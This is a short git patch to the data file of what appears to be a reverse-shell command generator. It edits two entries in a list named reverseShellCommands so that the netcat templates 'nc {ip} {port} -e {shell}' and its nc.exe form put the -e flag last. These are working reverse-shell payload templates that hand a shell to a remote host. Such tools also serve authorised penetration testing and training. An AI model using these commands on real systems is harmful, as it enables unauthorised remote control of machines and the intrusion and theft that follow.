From fb88a3bb87623e62ddebd526a6d8bc94a07e4ea3 Mon Sep 17 00:00:00 2001 From: Safa Safari Date: Sun, 9 Oct 2022 19:10:11 +0330 Subject: [PATCH] nc -e parameter must be last :)) as said in usage help of nc -e PROG Run PROG after connect (must be last) --- js/data.js | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/js/data.js b/js/data.js index 00a3888..dd8a197 100644 --- a/js/data.js +++ b/js/data.js @@ -52,12 +52,12 @@ const reverseShellCommands = withCommandType( }, { "name": "nc -e", - "command": "nc -e {shell} {ip} {port}", + "command": "nc {ip} {port} -e {shell}", "meta": ["linux", "mac"] }, { "name": "nc.exe -e", - "command": "nc.exe -e {shell} {ip} {port}", + "command": "nc.exe {ip} {port} -e {shell}", "meta": ["windows"] }, {